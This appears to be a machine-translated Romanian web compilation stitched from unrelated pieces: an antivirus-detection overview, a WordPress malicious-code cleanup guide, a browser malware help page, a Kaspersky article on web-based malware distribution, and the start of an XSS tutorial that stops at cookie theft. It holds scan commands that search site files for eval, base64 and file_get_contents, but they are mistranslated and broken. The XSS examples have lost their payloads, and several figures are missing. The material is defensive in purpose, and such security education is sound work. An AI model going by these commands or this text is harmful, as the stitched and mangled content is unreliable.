Pagina web rău intenționată. Ce este codul rău intenționat? Ce este JavaScript rău intenționat

În zilele noastre, cele mai multe atacuri computerizate au loc atunci când accesați pagini web rău intenționate. Utilizatorul poate fi păcălit să furnizeze date sensibile unui site de phishing sau să devină victima unui atac de descărcare direct care exploatează vulnerabilitățile browserului. Astfel, un antivirus modern trebuie să ofere protecție nu numai direct de malware, ci și de resursele web periculoase.

Soluțiile antivirus folosesc diverse metode pentru a identifica site-urile cu malware: compararea bazei de date de semnături și analiza euristică. Semnăturile sunt folosite pentru a identifica amenințările cunoscute, în timp ce analiza euristică determină probabilitatea unui comportament periculos. Folosirea unei baze de date de viruși este o metodă mai fiabilă care asigură un număr minim de fals pozitive. Cu toate acestea, această metodă nu detectează cele mai recente amenințări necunoscute.

O amenințare emergentă trebuie mai întâi detectată și analizată de către angajații laboratorului furnizorului de antivirus. Pe baza analizei, se creează o semnătură corespunzătoare care poate fi folosită pentru a găsi malware. În schimb, metoda euristică este folosită pentru a identifica amenințările necunoscute pe baza unor factori comportamentali suspecti. Această metodă evaluează probabilitatea pericolului, astfel încât sunt posibile fals pozitive.

Când sunt detectate legături rău intenționate, ambele metode pot funcționa simultan. Pentru a adăuga o resursă periculoasă la lista neagră, trebuie să efectuați o analiză prin descărcarea conținutului și scanarea acestuia folosind un antivirus sau un sistem de detectare a intruziunilor.

Mai jos este jurnalul de evenimente ale sistemului Suricata IDS la blocarea exploit-urilor:

Exemplu de raport IDS care arată amenințările identificate prin semnături:

Un exemplu de avertizare antivirus Ad-Aware atunci când vizitați un site rău intenționat:

Analiza euristică este efectuată pe partea clientului pentru a verifica ce site-uri sunt vizitate. Algoritmi special dezvoltați avertizează utilizatorul dacă resursa vizitată îndeplinește caracteristici periculoase sau suspecte. Acești algoritmi se pot baza pe analiza lexicală a conținutului sau evaluarea locației resursei. Modelul de definiție lexicală este folosit pentru a alerta utilizatorul în timpul atacurilor de tip phishing. De exemplu, o adresă URL ca „ http://paaypall.5gbfree.com/index.php" sau " http://paypal-intern.de/secure/” sunt ușor de identificat ca copii phishing ale cunoscutului sistem de plată „Paypal”.

Analiza plasării resurselor colectează informații despre găzduire și numele de domeniu. Pe baza datelor primite, un algoritm specializat determină gradul de pericol al site-ului. Aceste date includ, de obicei, date geografice, informații privind registratorul și persoana care înregistrează domeniul.

Mai jos este un exemplu de găzduire a mai multor site-uri de phishing pe o singură adresă IP:

În cele din urmă, în ciuda numeroaselor modalități de a evalua site-urile, nicio metodă nu poate oferi o garanție de 100% a vă proteja sistemul. Doar utilizarea în comun a mai multor tehnologii de securitate informatică poate oferi o anumită încredere în protecția datelor cu caracter personal.

Codul rău intenționat este un cod care interferează cu funcționarea normală a unui site web. Poate fi încorporat în teme, baze de date, fișiere și plugin-uri.

Mai multe videoclipuri pe canalul nostru - învață marketingul pe internet cu SEMANTICA

Rezultatul codului rău intenționat poate fi ștergerea unui conținut util sau publicarea acestuia pe o resursă terță parte. În acest fel, atacatorii pot organiza furtul de conținut. Este deosebit de ofensator dacă o resursă tânără cu articole originale a fost supusă acestui impact. Puteți avea impresia că a furat conținut dintr-o resursă mai senior.

De asemenea, codul rău intenționat poate plasa link-uri ascunse într-o temă gratuită către pagini terțe care sunt accesibile motoarele de căutare. Aceste link-uri nu vor fi întotdeauna rău intenționate, dar greutatea site-ului principal este garantată să sufere.

Scopul general al tuturor codurilor rău intenționate este de a perturba funcționarea paginilor web.

În exterior, codul rău intenționat apare ca un set haotic de caractere. În realitate, în spatele acestei prostii se află un cod criptat care conține o secvență de comenzi.

Cum ajunge codul rău intenționat pe site

Există două moduri prin care codul rău intenționat poate ajunge pe un site web.

1. Descărcarea fișierelor și pluginurilor din resurse dubioase și nesigure. Cel mai adesea, linkurile criptate pătrund în site folosind aceste metode. Codul explicit rareori intră pe site în acest fel.

2. urmată de pătrundere. Această metodă este considerată mai periculoasă, deoarece piratarea unei pagini web face posibilă transmiterea nu numai a unui cod „unic”, ci și a structurilor întregi cu elemente ale unui program rău intenționat (malware).

Un astfel de cod este foarte greu de distrus, pentru că... poate fi restaurat după îndepărtare.

Verificarea site-ului pentru coduri rău intenționate

Trebuie amintit că aceste structuri insidioase pot apărea nu numai în subiectul activ, ci și în orice fișier de resurse. Există mai multe moduri de a le găsi:

• Manual. Pentru a face acest lucru, trebuie să comparați conținutul tuturor fișierelor curente cu versiunile neinfectate ale copiei de rezervă. Orice altceva trebuie eliminat.
• Folosind pluginuri de securitate. În special, WordPress oferă pluginul Wordfence Security. Are opțiunea de a scana fișierele de pagină pentru conținut de cod străin.
• Cu ajutorul suportului de găzduire. Proprietarul site-ului are dreptul de a-i contacta cu o solicitare de a scana resursa cu antivirusul lor. Ca urmare, ei vor furniza un raport care arată prezența fișierelor infectate. Aceste fișiere pot fi curățate de constructe străine folosind un editor de text obișnuit.
• Prin acces SSH la site. Căutarea în sine se efectuează folosind comenzile:

găsi /directorul paginii curente -type f -iname "*" -exek -"eval" () \; > ./eval.log

găsiți /directorul paginii curente -type f -iname "*" -exek-"base64" () \; > ./base64.log

găsi /directorul paginii curente -type f -iname "*" -exek -"file_get_contents" () \; > ./file_get_contents.log

În urma executării acestora, vor fi obținute informații despre fișierele suspecte. Lista acestor fișiere va fi scrisă într-un jurnal stocat în directorul curent.

• Verificarea unui site pentru cod rău intenționat folosind funcția eval. Această funcție PHP rulează orice cod, chiar și unul criptat. Ca unul dintre argumente, tipul de codificare este furnizat la intrarea acestei funcții (de obicei, base64_decode sau str_rot13). Datorită utilizării codurilor populare, codul rău intenționat arată ca un set lipsit de sens de caractere latine.

Deschide editorul de pagini.

Copiați conținutul fișierului functions.php în clipboard.

Lipiți-l în orice editor de text (notepad).

Găsiți comanda eval.

• Înainte de a elimina codul rău intenționat, analizați ce parametri îi așteaptă funcția ca intrare. Deoarece Parametrii sunt primiți în formă criptată și trebuie decriptați folosind decodoare. Odată ce recunoașteți parametrul de intrare, puteți decide unde va merge în textul fișierului functions.php.

Eliminarea codului rău intenționat

Odată ce este detectat codul rău intenționat, acesta trebuie pur și simplu șters ca o linie obișnuită într-un fișier text.

Protecție împotriva codurilor rău intenționate

Pentru a preveni apariția codului rău intenționat pe site, este necesar să urmați o serie de măsuri preventive.

Utilizați numai software dovedit:

• Descărcați distribuțiile numai din surse de încredere.
• Rulați actualizarea software-ului serverului în acest timp.
• Efectuați audituri regulate ale sistemului de securitate al serverului dvs.
• Eliminați scripturile de depanare învechite.

Setați parole puternice pe software-ul serverului dvs.:

• Veniți cu un design de 12 caractere, inclusiv numere și litere de diferite cazuri.
• Pentru fiecare serviciu, creați-vă propria parolă unică.
• Schimbați-vă parolele la fiecare 3 luni.

Datele de control introduse de utilizatori:

• Configurați filtre de marcare HTML în câmpurile de introducere, al căror conținut va fi inclus în codul paginii.
• Organizați o verificare la nivelul serverului a datelor de intrare pentru respectarea intervalului acceptabil.
• Utilizați WAF. Web Application Firewall este un instrument puternic pentru a vă proteja site-ul împotriva atacurilor hackerilor.

Limitați drepturile de acces la resursa dvs.

Blocați sau limitați accesul la instrumentele de administrare ale motorului site-ului dvs. web și bazele de date ale acestuia. De asemenea, blocați accesul la fișierele de configurare și la copiile de rezervă ale codului de producție.

Acele site-uri care au capacitatea de a descărca fișiere utilizator sunt cele mai susceptibile la o astfel de penetrare a codului rău intenționat.

1. Organizați protecția împotriva roboților. În aceste scopuri, multe CMS sunt echipate cu plugin-uri speciale;

2. Configurați validarea intrărilor utilizatorului:

• Preveniți inserarea codului JavaScript în construcția t>.
• Mențineți o listă de etichete HTML sigure și filtrați constructele care nu sunt incluse în această listă.
• Analizați linkurile pe care utilizatorii le trimit.
• Există servicii speciale pentru aceasta, de exemplu Safe Browsing API. Vă permite să verificați securitatea unui document prin URL.

Cum să preveniți plasarea accidentală a codului rău intenționat.

• Monitorizați cu atenție software-ul pe care îl utilizați:

Descărcați biblioteci și extensii CMS numai din surse de încredere și, de preferință, de pe site-uri web oficiale.

Studiați codul extensiilor non-standard pe care urmează să le instalați pe motorul site-ului dvs. web.

• Plasați reclamele cu mare atenție:

Publicați anunțuri pe site-ul dvs. care sunt oferite numai de agenți de publicitate de încredere.

Încearcă să postezi conținut static pe pagina ta.

Atenție la programele de afiliere cu blocaje ascunse.

Este prescurtarea pentru „Software rău intenționat”. Este un termen folosit în general pentru software-ul instalat pe computerul dvs. care este conceput pentru a se infiltre sau a deteriora un sistem computerizat fără consimțământul informat al proprietarului. Uneori, o problemă cu Firefox poate fi rezultatul unui malware instalat pe computerul dvs., de care este posibil să nu fiți conștient Acest articol descrie care sunt simptomele comune și cum să împiedicați instalarea programelor malware și să scăpați de ele.

Cuprins De unde știu că problema mea cu Firefox este rezultatul unui malware?

Simptomele sunt diverse și depind de malware, dar dacă aveți unul sau mai multe dintre aceste comportamente, este posibil să aveți malware instalat pe computer.

• Unele ferestre de tip pop-up se afișează tot timpul, deși ați blocat ferestrele pop-up. Pentru mai multe informații despre blocarea ferestrelor pop-up, consultați.
• Căutările dvs. sunt redirecționate către un alt site pentru a vă furniza conținut de pe acel site și vi se interzice să le blocați. Pentru mai multe informații, consultați Ce trebuie să faceți când căutările vă duc la site-ul web de căutare greșit.
• Pagina dvs. de pornire a fost deturnată. Pentru mai multe informații despre setarea paginii de pornire, consultați Cum să setați pagina de pornire.
• Firefox nu termină încărcarea sau nu poate încărca anumite site-uri web . Pentru mai multe informații, consultați site-urile web arată o roată care se învârte și nu termină încărcarea, iar Firefox nu poate încărca anumite site-uri web .
• Firefox se blochează sau se blochează mult. Pentru mai multe informații, consultați Blocările Firefox - Depanați, preveniți și obțineți ajutor pentru remedierea blocărilor și Firefox se blochează sau nu răspunde - Cum se remediază.
• Firefox nu pornește. Pentru mai multe informații, consultați Firefox nu pornește - găsiți soluții.
• Probleme cu conectarea la Facebook. Pentru mai multe informații despre problemele cu Facebook, consultați Remedierea problemelor cu jocurile Facebook, chat și multe altele.
• Firefox continuă să deschidă multe file sau ferestre. Pentru mai multe informații, consultați Firefox deschide în mod repetat file sau ferestre goale după ce faceți clic pe un link.
• Au fost instalate bare de instrumente nedorite. Pentru mai multe informații despre personalizarea Firefox, consultați Eliminarea unei bare de instrumente care a preluat căutarea sau pagina de pornire din Firefox și Cum să eliminați bara de instrumente Babylon, pagina de pornire și motorul de căutare.

Cum pot împiedica instalarea programelor malware?

Există reguli simple de urmat pentru a preveni instalarea malware-ului pe computer:

• Țineți-vă actualizat sistemul de operare și alte programe software: instalarea de software rău intenționat profită de obicei de vulnerabilitățile de securitate cunoscute din alte programe, care este posibil să fi fost corectate în versiunile ulterioare. Asigurați-vă că utilizați cea mai recentă versiune a tuturor software-ului pe care îl utilizați, fie activând caracteristica de actualizare automată a software-ului, dacă este disponibilă, fie verificând actualizările de la furnizorul de software și utilizând caracteristica Windows Update.
• Nu instalați software neîncrezător: unele site-uri web vă oferă software pentru a vă accelera browserul, pentru a vă ajuta să căutați pe Web, pentru a adăuga bare de instrumente care fac lucruri pe care Firefox le face deja. Unele programe nedorite sunt, de asemenea, incluse în pachete software. De obicei, aceste programe adună informații asupra comportamentului dvs. de navigare care servesc numai persoanelor care le-au creat și interferează cu Firefox. Asigurați-vă că instalați suplimente de pe site-ul web de suplimente al Mozilla și debifați programele nedorite din vrăjitorii de software. Verificați dacă aveți suplimente nedorite și dezactivați-le sau eliminați-le.
• Nu faceți clic în interiorul ferestrelor pop-up înșelătoare: multe site-uri web rău intenționate încearcă să instaleze programe malware în sistemul dvs. făcând imaginile să arate ca ferestre pop-up sau afișând o animație a site-ului web care scanează computerul dvs. Pentru mai multe informații despre detectarea unui pop-up înșelător -up, consultați Setări pentru blocarea ferestrelor pop-up, excepții și depanare.
• Nu rulați un Firefox fals: descărcați Firefox de pe mozilla.org/firefox.

• Rulați protecția antivirus și anti-spyware în timp real și scanați-vă sistemul periodic. Asigurați-vă că protecția dvs. antivirus și anti-spyware în timp real este activată. Scanați-vă computerul cel puțin în fiecare lună.

Cum scap de malware?

Articolul Wikipedia Linux malware conține informații și recomandări pentru utilizatorii Linux.

Cum scap de malware?

Microsoft are un software de securitate antivirus gratuit și anti-spyware încorporat în Windows 8 și Windows 10 pentru Windows 7 (consultați Ce este Microsoft Security Essentials?). Dacă software-ul dvs. de securitate nu a detectat programe malware, scanați-vă sistemul cu programele gratuite de scanare a malware enumerate mai jos. Ar trebui să scanați cu toate programele, deoarece fiecare program detectează diferite programe malware și asigurați-vă că actualizați fiecare program pentru a obține cea mai recentă versiune a bazelor lor de date. înainte de a face o scanare.

Avertisment: Software-ul antivirus și anti-spyware poate genera uneori rezultate false pozitive. Luați în considerare să puneți în carantină fișierele suspecte în loc să le ștergeți.

Distribuirea de malware prin intermediul site-urilor web

Costin Raiu, Kaspersky Lab

Introducere. Crima cibernetică: tendințe și evoluții

În ultimii ani, internetul a devenit un loc periculos. Creat inițial pentru un număr relativ mic de utilizatori, a depășit semnificativ așteptările creatorilor săi. Există mai mult de 1,5 miliarde de utilizatori de Internet în lume astăzi, iar numărul este în continuă creștere pe măsură ce tehnologia devine mai accesibilă.

De asemenea, criminalii au observat această tendință și și-au dat seama foarte repede că săvârșirea de infracțiuni prin intermediul internetului (denumită acum criminalitate cibernetică) are o serie de avantaje semnificative.

În primul rând, criminalitatea cibernetică nu implică prea multe riscuri: deoarece nu are bariere geopolitice, este dificil pentru agențiile de aplicare a legii să prindă criminali. Mai mult, investigațiile și urmăririle internaționale costă o mulțime de bani, așa că astfel de acțiuni sunt de obicei întreprinse doar în cazuri speciale. În al doilea rând, criminalitatea cibernetică este simplă: Internetul oferă un număr mare de „instrucțiuni” pentru hacking computere și scriere de viruși, fără a fi necesare cunoștințe sau experiență specială. Aceștia sunt cei doi factori principali care au transformat criminalitatea cibernetică într-o industrie de mai multe miliarde de dolari, care este cu adevărat un ecosistem închis.

Atât companiile de securitate a informațiilor, cât și producătorii de software se luptă constant cu criminalitatea cibernetică. Scopul lor este de a oferi utilizatorilor de Internet protecție fiabilă și de a crea software securizat. Atacatorii, la rândul lor, schimbă constant tactica pentru a contracara contramăsurile luate, ceea ce a dus la două tendințe distincte.

În primul rând, malware-ul este implementat folosind vulnerabilități zero-day, de exemplu. vulnerabilități pentru care încă nu au fost create patch-uri. Cu ajutorul unor astfel de vulnerabilități, pot fi infectate chiar și sistemele informatice care au instalate toate cele mai recente actualizări, dar nu au soluții speciale de securitate. Vulnerabilitățile zero-day sunt o marfă valoroasă (exploatarea lor poate duce potențial la consecințe grave) și sunt vândute pe piața neagră cu zeci de mii de dolari.

În al doilea rând, observăm o creștere bruscă a numărului de programe malware concepute special pentru a fura informații sensibile în scopul vânzării lor pe piața neagră: numere de card de credit, detalii bancare, parole pentru site-uri precum eBay sau PayPal și chiar parole online. -jocuri, de exemplu, World of Warcraft.

Unul dintre motivele evidente pentru amploarea criminalității cibernetice este profitabilitatea acesteia, care va fi întotdeauna un motor în crearea de noi tehnologii de criminalitate cibernetică.

Pe lângă evoluțiile care se realizează pentru nevoile infractorilor cibernetici, observăm o altă tendință - răspândirea malware-ului prin World Wide Web. În urma focarelor de la începutul acestui deceniu cauzate de viermi de e-mail precum Melissa, multe companii de securitate și-au concentrat eforturile pe dezvoltarea de soluții care pot neutraliza atașamentele rău intenționate. Acest lucru a determinat uneori mesajele să elimine toate atașamentele executabile.

Cu toate acestea, recent Rețeaua a devenit principala sursă de distribuție a programelor malware. Programele rău intenționate sunt plasate pe site-uri web și apoi fie utilizatorii sunt păcăliți să le execute manual, fie programele sunt executate automat folosind exploit-uri pe computerele infectate.

Noi, cei de la Kaspersky Lab, urmărim ceea ce se întâmplă cu o îngrijorare crescândă.

Statistici

În ultimii trei ani, am monitorizat așa-numitele site-uri web curate (între 100.000 și 300.000) pentru a determina în ce moment au devenit hotspot-uri pentru malware. Numărul de site-uri monitorizate a crescut constant pe măsură ce se înregistrau noi domenii.

Tabelul arată rata maximă de infectare înregistrată a paginilor web monitorizate pe parcursul anului. O creștere bruscă a proporției de site-uri infectate este evidentă: dacă în 2006 aproximativ fiecare site din douăzeci de mii a fost infectat, atunci în 2009 fiecare site din o sută cincizeci era deja infectat. Procentul de site-uri infectate fluctuează în jurul acestei ultime cifre, ceea ce poate indica faptul că a fost atins un punct de saturație: toate site-urile web care ar putea fi infectate au fost infectate. Cu toate acestea, numărul acestora crește sau scade pe măsură ce sunt descoperite noi vulnerabilități sau devin disponibile noi instrumente care permit atacatorilor să infecteze noi site-uri web.

Următoarele două tabele oferă date despre malware-ul care a fost găsit cel mai frecvent pe site-uri web în 2008 și 2009.

Top 10 programe malware – 2008

Top 10 programe malware – 2009

În 2008, Trojan-Clicker.JS.Agent.h a fost descoperit într-un număr mare de cazuri. Este urmat de Trojan-Downloader.JS.Iframe.oj cu o marjă mai mică de 1%.

Pagina infectată cu Trojan-Clicker.JS.Agent.h

Trojan-Clicker.JS.Agent.h decodat

Trojan-Clicker.JS.Agent.h este un exemplu tipic de mecanism care a fost folosit în 2008 și este încă folosit (în 2009) pentru a injecta cod rău intenționat. O mică bucată de cod JavaScript este adăugată în pagină, care este de obicei obscusată pentru a îngreuna analiza. În codul prezentat în figura de mai sus, ofuscarea constă pur și simplu în înlocuirea caracterelor ASCII care alcătuiesc codul rău intenționat cu codurile lor hexadecimale. Odată decriptat, codul apare de obicei ca un cadru plutitor (iframe) care duce la site-ul unde se află exploit-urile. Adresa IP către care indică linkul se poate modifica pe măsură ce exploit-urile sunt postate pe multe site-uri diferite. Pagina principală a unui site rău intenționat conține de obicei exploit-uri pentru IE, Firefox și Opera. Trojan-Downloader.JS.Iframe.oj, al doilea malware cel mai frecvent utilizat, funcționează într-un mod similar.

Au existat două cazuri interesante în 2009 în care malware a fost distribuit prin pagini web. În primul caz, vorbim despre malware-ul Net-Worm.JS.Aspxor.a, care a fost descoperit pentru prima dată în iulie 2008 și răspândit pe scară largă în 2009. Acest malware folosește un utilitar special pentru a găsi vulnerabilități SQL în site-urile web prin care injectează iframe rău intenționate.

Un alt caz interesant este malware-ul Gumblar. A fost numit după domeniul chinezesc pe care îl folosea pentru a distribui exploit-uri. Șirul „gumblar” din codul JavaScript ofuscat plantat pe un site web este un semn sigur că site-ul este infectat.

Exemplu de încorporare a codului Gumblar într-o pagină de site web

După deofuzare, codul rău intenționat Gumblar arată astfel:

Cod Gumblar decodat

Domeniul „gumblar.cn” a fost închis, ceea ce, totuși, nu a împiedicat infractorii cibernetici să continue atacuri rău intenționate din noi domenii.

Metode de infectare și metode de distribuție

În prezent, există trei modalități principale de a infecta site-urile web cu malware.

Prima metodă populară este exploatarea vulnerabilităților din site-ul propriu-zis. De exemplu, injecția SQL, care vă permite să adăugați cod rău intenționat în paginile site-ului web. Instrumentele de atac, cum ar fi troianul ASPX sau troian, demonstrează clar cum funcționează această metodă: pot fi folosite pentru a scana în masă și a injecta cod rău intenționat în mii de adrese IP simultan. Urmele unor astfel de atacuri pot fi adesea văzute în jurnalele de acces la serverul web.

A doua metodă implică infectarea computerului unui dezvoltator de site-uri web cu programe malware care monitorizează crearea și descărcarea fișierelor HTML și apoi injectează cod rău intenționat în acele fișiere.

În cele din urmă, o altă metodă este să infectați computerul unui dezvoltator de site-uri web sau o altă persoană cu acces la contul de găzduire cu un troian care fură parola (cum ar fi Ransom.Win32.Agent.ey). Acest troian accesează de obicei un server prin HTTP pentru a transmite parolele conturilor FTP, pe care le colectează de la clienții FTP populari, cum ar fi FileZilla și CuteFtp. Componenta malware situată pe server scrie informațiile primite într-o bază de date SQL. Apoi, un program special, situat și pe server, efectuează o procedură de conectare pentru toate conturile FTP, preia pagina de index, adaugă acolo codul infectat cu troian și descarcă pagina înapoi.

Deoarece în acest ultim caz, informațiile contului de la furnizorul de găzduire devin cunoscute atacatorilor, site-urile sunt adesea reinfectate: dezvoltatorii de pagini web observă ei înșiși infecția sau învață despre ea de la vizitatorii site-ului, curățează pagina de cod rău intenționat și a doua zi. pagina apare din nou infectată.

Exemplu de reinfectare a unei pagini web (*.*.148.240)

O altă situație comună este atunci când informațiile despre aceeași vulnerabilitate sau datele contului de găzduire cad simultan în mâinile diferitelor grupuri cibernetice, între care începe o luptă: fiecare grup încearcă să infecteze un site web cu propriul malware. Iată un exemplu de astfel de situație:

Un exemplu de infecții multiple ale unui site web (*.*.176.6) cu diferite programe malware

Pe 11 iunie 2009, site-ul web pe care îl monitorizam era curat. La 5 iulie 2009, a avut loc infecția cu malware Trojan-Clicker.JS.Agent.gk. Pe 15 iulie 2009, site-ul se dovedește a fi infectat cu un alt malware, Trojan-Downloader.JS.Iframe.bin. Zece zile mai târziu, site-ul este infectat cu un alt program.

Această situație apare destul de des: site-urile web pot fi infectate simultan cu diferite programe malware, al căror cod este plasat unul după altul. Acest lucru se întâmplă atunci când datele de acces cad în mâinile diferitelor grupuri cibernetice.

Mai jos este secvența de acțiuni care trebuie întreprinse dacă un site web este infectat cu cod rău intenționat:

• Stabiliți cine are acces la serverul de găzduire. Rulați un program de securitate pe Internet care își scanează computerele cu o bază de date actualizată. Eliminați toate programele malware detectate
• Setați o nouă parolă puternică de găzduire. O parolă puternică ar trebui să conțină simboluri, numere și caractere speciale pentru a o face dificil de ghicit
• Înlocuiți toate fișierele infectate cu copii curate
• Găsiți toate copiile de rezervă care pot conține fișiere infectate și dezinfectați-le

Experiența noastră arată că site-urile web infectate sunt adesea reinfectate după tratament. Pe de altă parte, acest lucru se întâmplă de obicei o singură dată: dacă după prima infecție webmasterul se poate limita la acțiuni relativ superficiale, în cazul unei a doua infecții ia de obicei măsuri mai serioase pentru a asigura securitatea site-ului.

Evoluție: plasarea de programe malware pe site-uri web „curate”.

În urmă cu câțiva ani, când infractorii cibernetici au început să folosească în mod activ web-ul pentru a găzdui malware, aceștia operau de obicei prin așa-numita găzduire antiglonț sau prin găzduire unde plăteau cu carduri de credit furate. Observând această tendință, companiile care activează în domeniul securității pe internet și-au unit forțele în lupta împotriva furnizorilor de hosting fără scrupule care permit plasarea de resurse rău intenționate (cum ar fi furnizorul american de hosting McColo și furnizorul eston EstDomains. Și deși astăzi există încă cazuri). când malware-ul este găzduit special pe site-uri rău intenționate, situate, de exemplu, în China, unde este încă dificil să închideți un site, a existat o schimbare importantă către găzduirea de malware pe domenii „curate” și complet de încredere.

Acțiune și reacție

După cum am spus deja, unul dintre cele mai importante aspecte ale luptei în curs dintre infractorii cibernetici și furnizorii de antivirus este capacitatea de a răspunde rapid la ceea ce face inamicul. Ambele părți își schimbă constant tactica și introduc noi tehnologii, încercând să contracareze inamicul.

Majoritatea browserelor web (Firefox 3.5, Chrome 2.0 și Internet Explorer 8.0) au acum protecție încorporată sub forma unui filtru URL. Acest filtru împiedică utilizatorul să acceseze site-uri rău intenționate care conțin exploit-uri pentru vulnerabilități cunoscute sau necunoscute sau care utilizează tehnici de inginerie socială pentru a fura date personale.

De exemplu, Firefox și Chrome folosesc API-ul Google Safe Browsing, un serviciu gratuit de la Google pentru filtrarea adreselor URL. La momentul redactării acestui articol, lista Google Safe Browsing API conținea aproximativ 300.000 de adrese de site-uri web rău intenționate cunoscute și peste 20.000 de adrese de site-uri web de phishing.

API-ul Google Safe Browsing adoptă o abordare inteligentă pentru filtrarea adreselor URL: în loc să trimită fiecare adresă URL către o resursă externă pentru verificare, așa cum face filtrul de phishing al Internet Explorer 8, Google Safe Browsing verifică adresele URL folosind sumele lor de verificare calculate folosind algoritmul MD5. Pentru ca această metodă de filtrare să fie eficientă, lista de sume de control a adreselor rău intenționate trebuie actualizată în mod regulat; Actualizările sunt recomandate la fiecare 30 de minute. Dezavantajul acestei metode este că numărul de site-uri web rău intenționate este mai mare decât numărul de intrări din listă. Pentru a optimiza dimensiunea listei (în prezent este de aproximativ 12 MB), acolo sunt incluse doar site-urile rău intenționate cel mai frecvent întâlnite. Aceasta înseamnă că, chiar dacă utilizați aplicații care acceptă aceste tehnologii, computerul este în continuare expus riscului de infectare dacă vizitați site-uri rău intenționate care nu sunt incluse în listă. În general, adoptarea pe scară largă a tehnologiilor de navigare securizată arată că dezvoltatorii de browsere web au luat în seamă noua tendință de răspândire a malware-ului prin site-uri web și iau măsuri ca răspuns. De fapt, browserele web cu securitate încorporată devin deja norma.

Concluzie

În ultimii trei ani, a existat o creștere bruscă a numărului de site-uri web legitime infectate cu malware. Astăzi, numărul site-urilor infectate de pe Internet este de o sută de ori mai mare decât acum trei ani. Site-urile vizitate frecvent sunt atractive pentru infractorii cibernetici deoarece pot fi folosite pentru a infecta un număr mare de computere într-un timp scurt.

Iată câteva sfaturi simple pentru webmasteri despre cum să-și securizeze site-urile web:

• Protejați-vă conturile de găzduire cu parole puternice
• Pentru a încărca fișiere pe servere, utilizați protocoalele SCP/SSH/SFTP în loc de FTP - în acest fel veți fi protejat de trimiterea de parole prin Internet în text clar
• Instalați un produs antivirus și executați o scanare a computerului
• Păstrați mai multe copii de rezervă ale site-ului dvs., astfel încât să îl puteți restaura în caz de infecție.

Când navigați pe internet, există mai mulți factori care cresc riscul de a contracta cod rău intenționat de pe un site web: utilizarea de software piratat, ignorarea actualizărilor care abordează vulnerabilitățile din software-ul pe care îl utilizați, lipsa unei soluții antivirus pe computer și o lipsă generală. de cunoaștere sau înțelegere a amenințărilor de pe Internet.

Software-ul piratat joacă un rol semnificativ în răspândirea programelor malware. Copiile piratate ale Microsoft Windows, de obicei, nu acceptă actualizările automate lansate de Microsoft, ceea ce oferă infractorilor cibernetici posibilitatea de a exploata vulnerabilitățile necorecte ale acestor produse.

În plus, versiunile mai vechi de Internet Explorer, încă cel mai popular browser, au un număr mare de vulnerabilități. În majoritatea cazurilor, Internet Explorer 6.0 fără actualizări instalate nu este protejat de efectele dăunătoare ale oricărui site web rău intenționat. Din acest motiv, este extrem de important să evitați utilizarea software-ului piratat, în special a copiilor piratate ale Windows.

Un alt factor de risc este lucrul pe un computer fără un program antivirus instalat. Chiar dacă sistemul în sine are cele mai recente actualizări, codul rău intenționat poate pătrunde în el prin vulnerabilități zero-day în software-ul terților. Actualizările software antivirus sunt de obicei lansate mult mai frecvent decât corecțiile software și asigură securitatea sistemului într-un moment în care vulnerabilitățile software ale terților nu au fost încă corectate.

Și deși instalarea actualizărilor pentru programe este importantă pentru a menține nivelul necesar de securitate, factorul uman joacă și el un rol important. De exemplu, un utilizator poate dori să vizioneze un „video interesant” descărcat de pe Internet, fără a bănui că în locul videoclipului i s-a dat un program rău intenționat. Acest truc este adesea folosit pe site-uri rău intenționate atunci când exploit-urile nu reușesc să pătrundă în sistemul de operare. Acest exemplu arată de ce utilizatorii ar trebui să fie conștienți de pericolele pe care le prezintă amenințările pe internet, în special cele asociate rețelelor sociale (Web 2.0), care au fost recent vizate activ de infractorii cibernetici.

• Nu descărcați software piratat
• Păstrați toate programele la zi: sistem de operare, browsere web, vizualizatoare PDF, playere etc.
• Instalați și utilizați întotdeauna un produs antivirus, cum ar fi Kaspersky Internet Security 2010
• Asigurați-vă că angajații dvs. petrec câteva ore în fiecare lună examinând site-uri web de securitate, cum ar fi www.viruslist.com, unde pot afla despre amenințările de pe Internet și tehnicile de protecție.

În cele din urmă, amintiți-vă: este mai ușor să preveniți o infecție decât să o vindecați. Luați măsuri de siguranță!

Și este un tutorial cuprinzător despre cross-site scripting.

Partea întâi: Prezentare generală Ce este XSS?

Scripturi între site-uri ( Engleză Scripturi între site-uri) este un atac de injectare de cod care permite unui atacator să execute JavaScript rău intenționat în browserul altui utilizator.

Atacatorul nu își atacă victima direct. În schimb, exploatează o vulnerabilitate a site-ului web pe care îl vizitează victima și injectează cod JavaScript rău intenționat. În browserul victimei, JavaScript rău intenționat apare ca o parte legitimă a site-ului web, iar site-ul în sine acționează ca un complice direct al atacatorului.

Injectarea de cod JavaScript rău intenționat

Singura modalitate prin care un atacator poate rula JavaScript rău intenționat în browserul unei victime este să îl injecteze într-una dintre paginile pe care victima le încarcă de pe site. Acest lucru este posibil dacă un site web permite utilizatorilor să introducă date în paginile sale, iar atacatorul poate introduce un șir care va fi detectat ca parte a codului în browserul victimei.

Exemplul de mai jos arată un script simplu pe partea de server care este utilizat pentru a afișa cel mai recent comentariu pe un site:

imprimare ""
printează „Ultimul comentariu:”
print database.latestComment
imprimare ""

Scriptul presupune că comentariul constă numai din text. Cu toate acestea, deoarece intrarea directă a utilizatorului este activată, un atacator ar putea lăsa acest comentariu: „...”. Orice utilizator care vizitează pagina va primi acum următorul răspuns:

Ultimul comentariu:
...

Când browserul utilizatorului încarcă pagina, acesta va executa totul, inclusiv codul JavaScript conținut în fișierul . Atacatorul a efectuat cu succes atacul.

Ce este JavaScript rău intenționat?

Capacitatea de a executa JavaScript în browserul victimei poate să nu pară deosebit de rău intenționată. JavaScript rulează într-un mediu foarte restrâns, care are acces extrem de limitat la fișierele utilizatorilor și ale sistemului de operare. De fapt, puteți deschide consola JavaScript în browser-ul dvs. chiar acum și puteți executa orice JavaScript doriți și este foarte puțin probabil să puteți provoca vreun rău computerului dvs.

Cu toate acestea, potențialul ca codul JavaScript să acționeze ca cod rău intenționat devine mai clar atunci când luați în considerare următoarele fapte:

• JavaScript are acces la unele informații sensibile ale utilizatorului, cum ar fi cookie-urile.
• JavaScript poate trimite cereri HTTP cu conținut arbitrar în orice direcție folosind XMLHttpRequest și alte mecanisme.
• JavaScript poate face modificări arbitrare la codul HTML al paginii curente folosind tehnici de manipulare DOM.

Dacă sunt combinate, aceste fapte pot provoca încălcări foarte grave ale siguranței, detalii de urmat.

Consecințele codului JavaScript rău intenționat

În plus, capacitatea de a executa JavaScript arbitrar în browserul altui utilizator permite unui atacator să efectueze următoarele tipuri de atacuri:

Furtul de cookie-uri

